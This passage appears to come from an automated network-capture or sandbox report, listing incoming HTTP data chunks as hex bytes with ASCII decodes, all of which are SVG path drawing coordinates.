0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M833.79,204.46a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M834,211.28a1.7,1.7,
2023-05-31 12:52:03 UTC	4591	IN	Data Raw: 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 33 2e 32 37 2c 31 32 33 2e 34 36 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 Data Ascii: 0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><path class="cls-4" d="M803.27,123.46a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M8
2023-05-31 12:52:03 UTC	4607	IN	Data Raw: 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 36 2e 31 35 2c 32 33 33 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 9.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M786.15,233.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"></path><path
2023-05-31 12:52:03 UTC	4623	IN	Data Raw: 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 32 2c 32 36 37 2e 33 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 31 2e 37 31 2c 32 35 39 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e Data Ascii: h class="cls-7" d="M522,267.3a1.91,1.91,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M521.71,259.58a1.91,1.91,0,0,1-.86,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.
2023-05-31 12:52:03 UTC	4639	IN	Data Raw: 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 34 31 2e 35 38 2c 31 35 30 2e 37 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: 2.66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M541.58,150.76a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path c
2023-05-31 12:52:03 UTC	4655	IN	Data Raw: 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 35 39 2c 32 35 37 2e 37 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 33 33 2c 32 35 30 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 Data Ascii: 8,3.17"></path><path class="cls-7" d="M576.59,257.72a1.91,1.91,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M576.33,250a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1
2023-05-31 12:52:03 UTC	4671	IN	Data Raw: 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 36 2e 32 2c 31 34 31 2e 31 38 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 Data Ascii: 1,2.69,2.69,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M596.2,141.18a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path
2023-05-31 12:52:03 UTC	4687	IN	Data Raw: 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2e 32 31 2c 32 34 38 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2c 32 34 30 2e 34 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c Data Ascii: lass="cls-7" d="M631.21,248.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"></path><path class="cls-7" d="M631,240.43a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.67,2.67,0,0,
2023-05-31 12:52:03 UTC	4703	IN	Data Raw: 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 35 30 2e 38 31 2c 31 33 31 2e 36 31 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: .05,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M650.81,131.61a1.92,1.92,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.34,2.34,0,0,1,.18,3.17"></path><path c
2023-05-31 12:52:03 UTC	4719	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 38 33 2c 32 33 38 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 35 37 2c 32 33 30 2e 38 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e Data Ascii: <path class="cls-7" d="M685.83,238.58a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M685.57,230.86a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.
2023-05-31 12:52:03 UTC	4735	IN	Data Raw: 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 30 35 2e 34 33 2c 31 32 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: .66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class="cls-7" d="M705.43,122a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class
2023-05-31 12:52:03 UTC	4751	IN	Data Raw: 34 30 2e 34 35 2c 32 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 34 30 2e 31 39 2c 32 32 31 2e 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e Data Ascii: 40.45,229a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M740.19,221.29a1.92,1.92,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.
2023-05-31 12:52:03 UTC	4841	IN	Data Raw: 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 30 2e 30 35 2c 31 31 32 2e 34 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 35 39 2e 37 39 2c 31 30 34 Data Ascii: 2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M760.05,112.46a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M759.79,104
2023-05-31 12:52:03 UTC	4857	IN	Data Raw: 4d 36 36 31 2e 31 36 2c 33 38 31 2e 31 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 36 31 2e 32 33 2c 33 37 32 2e 34 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e Data Ascii: M661.16,381.13a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M661.23,372.45a2.16,2.16,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.
2023-05-31 12:52:03 UTC	4873	IN	Data Raw: 32 33 33 2e 38 31 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 39 2c 32 32 35 2e 31 33 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e Data Ascii: 233.81a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M689,225.13a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.
2023-05-31 12:52:03 UTC	4889	IN	Data Raw: 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2e 34 33 2c 33 32 30 2e 39 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -4.13-1.35,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path class="cls-9" d="M723.43,320.92a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path clas
2023-05-31 12:52:03 UTC	4905	IN	Data Raw: 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 38 36 2c 34 31 36 2e 37 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 39 33 2c 34 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 Data Ascii: ,0,0,1,3.61.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M757.86,416.72a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M757.93,408a2.15,2.15,0,0
2023-05-31 12:52:03 UTC	4921	IN	Data Raw: 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 36 32 2c 32 36 39 2e 33 39 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 Data Ascii: 1,0,3.58"></path><path class="cls-9" d="M785.62,269.39a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.19,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0
2023-05-31 12:52:03 UTC	4937	IN	Data Raw: 4d 38 32 30 2e 30 35 2c 33 36 35 2e 31 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 31 33 2c 33 35 36 2e 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 